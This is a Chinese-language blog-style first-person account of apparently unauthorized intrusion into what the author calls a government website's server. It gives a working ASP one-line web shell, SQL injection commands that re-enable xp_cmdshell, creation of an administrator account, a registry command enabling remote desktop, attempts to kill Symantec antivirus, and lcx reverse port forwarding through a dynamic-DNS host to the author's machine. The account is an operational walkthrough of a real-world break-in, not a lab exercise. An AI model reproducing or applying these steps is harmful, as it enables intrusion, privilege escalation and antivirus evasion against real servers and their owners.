前几天和同事说起网站安全的问题 ,突然想起来大学时无聊热衷于用些注入工具拿到网站后台,上传各种asp网马改别人首页,简直乐此不彼啊
不过也就只能拿到webshell了 ,想进一步提权拿到服务器从未成功过 ,也是一个遗憾
回想起来那会对各种数据库 ,端口什么的一窍不通,能拿到服务器那真是奇了
现在既然从事web开发 ,就想能不能弥补下当年的遗憾,拿下一台服务器试试
说干就干
重新下载各种sql注入检测工具 ,虽然现在明白了sql注入的原理,但是手工检测注入是一个很蛋疼的事情,还是得依靠工具
扫了半天 ,总算扫到一个注入点,而且还是mssql数据库的sa权限 ,顿时激动了,现在的注入点比十年前可是难扫多了啊,一个政府网站
如果是access的数据库 ,只能猜解字段,找到网站管理员的账号密码,登陆后台通过数据库备份的办法上传asp木马了 ,而且管理员密码不一定能md5破解的了
既然是mssql的sa权限就好办了 ,直接列目录,找网站的路径(如果是web网站和数据库分离的,菜鸟水平就没办法了)
顺利找到该网站路径位于 e:\web下
然后将asp一句话文件上传至该目录下 ,文件名dt1.asp
<script language="vbscript" runat="server">
If Request("密码")<>"" Then Session("lcxMarcos")=Request("密码")
If Session("lcxMarcos")<>"" Then Execute(Session("lcxMarcos"))
</script>
用大马连接
成功拿到webshell ,换个自己用的比较顺手的shell
扫了下 ,服务器只开了1433(mssql)端口 ,3389端口未开 ,ip为 192.168.250.23 ,处于内网 。。为后面的悲剧埋下伏笔
首先去执行cmd命令,发现无法使用net命令,估计是没有权限 。
大学时期时基本就到这里结束了,只能翻翻网站上的文件,心血来潮给他换个首页 。。
这一次毕竟有了web开发的经验 ,好在webshell权限比较大,可以查看下载服务器上的大部分文件 ,看到e盘有名为tomcat的目录,果断点进去,看看别人java项目怎么写的也好
毕竟我也是干java的 。。。~
果然有个名为root的java项目,翻到项目 WEB-INF/classes 目录下,看到了数据库的配置文件 ,突然想翻到mssql的数据库账号密码说不定有帮助
下载jdbc.properties文件 ,打开果然发现了mssql账号密码 ,sa权限
立马使用mssql提权
使用XP_CMDSHELL 执行cmd命令net user ymlkl woaini /add ,
但是出现错误提示
Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,
因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。
有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
应该是管理员关闭了xp_cmdshell 这个存储过程 ,好在也有恢复的办法
注入点依次执行
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
顺利恢复xp_cmdshell
然后执行 添加账号 net user ymlkl woaini /add ,添加成功 ,net localgroup administrators ymlkl/add 提升为管理员,提权成功 !
现在拥有了管理员账号 ,就该想办法如何远程登录了
首先开目标服务器的3389
cmd执行
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
用netstat -ano 查看,3389已被打开
现在目标服务器远程桌面已开,又拿到了管理员权限的账号密码,万事俱备,只欠东风了
这最后一步也是最难的一步啊
首先想到的就是利用内网转发神器 lcx.exe
上传服务器,直接被杀 。。。tasklist 查看服务器进程,发现运行了杀软赛门铁克
试着远程关掉杀毒软件的进程Smc.exe
使用 TASKKILL /F /IM Smc.exe ,无法关闭,现在的杀毒软件已经不能简单的杀进程来关闭了
还是不死心,试着使用 ntsd -c q -p 3894 来关闭 ,居然提示无法找到ntsd , 上传一个ntsd.exe到服务器,继续执行 ntsd -c q -p 3894 ,还是报错进程无法访问
看来强行关闭杀软是不行了
去找了几个号称免杀的lcx.exe ,全部被杀啊 ,自己又不会做免杀
网上又找到其他的方法,有基于http的端口转发工具 reDuh和 tunna
办法也很简单, 上传此类工具的aspx或者php服务端到服务器,然后用客户端连接此服务端地址
reDuh根本连不上,一直显示数据发送错误
而tunna 是python的脚本,原理和reDuh类似 ,上传服务端连接后,打开远程登录 ,居然出现了输入账号密码的界面,顿时一喜啊 ,连忙输入账号密码,却一直显示正在加密远程连接,等了几分钟也没反应,多次试验均是无此,终于放弃
继续寻找可用的办法 ,网上找到一哥们基于GO写的lcx._g.exe,上传服务器的确没有被杀 ,可惜端口转发后,连接远程桌面提示 客户端协议错误 0x1104
还是没有成功
卡在这里好多天,一直无法解决 ,甚至想用灰鸽子远控了,但是一想到不会免杀还是放弃
本来已打算放弃 ,但是已经到了这一步快要成功就放弃真是不甘心
继续寻找可用的办法,也是机会难得,偶尔看到csdn一位发的重新精简优化过的lcx,下载,传到世界杀毒网,居然只有1款杀软报毒,顿时感觉有戏
马上上传到服务器
没有被杀!
本机运行 lcx -listen 32016 12345 ( 监听32016端口 并转发到12345端口 )
由于我也是内网,所以先用花生壳把32016端口映射到外网供目标服务器连接
这样访问*****.6655.la的22159端口 就相当于访问我本机的32016端口
用cmd在目标服务器执行 lcx -slave ******6655.la 22159 127.0.0.1 3389(将本机3389转发到******6655.la 的22159端口)
这时我的lcx提示目标服务器连接到我本机32016端口
服务器转发成功了
打开远程桌面,连接127.0.0.1:12345 ,输入之前添加的账号密码 ymlkl woaini,终于顺利登陆! 一台IBM的服务器
lcx的数据传输
内网还有其他服务器 有时间再学下内网渗透吧 。没有对服务器任何操作,只是单纯进来看看,也不弄什么日志清除了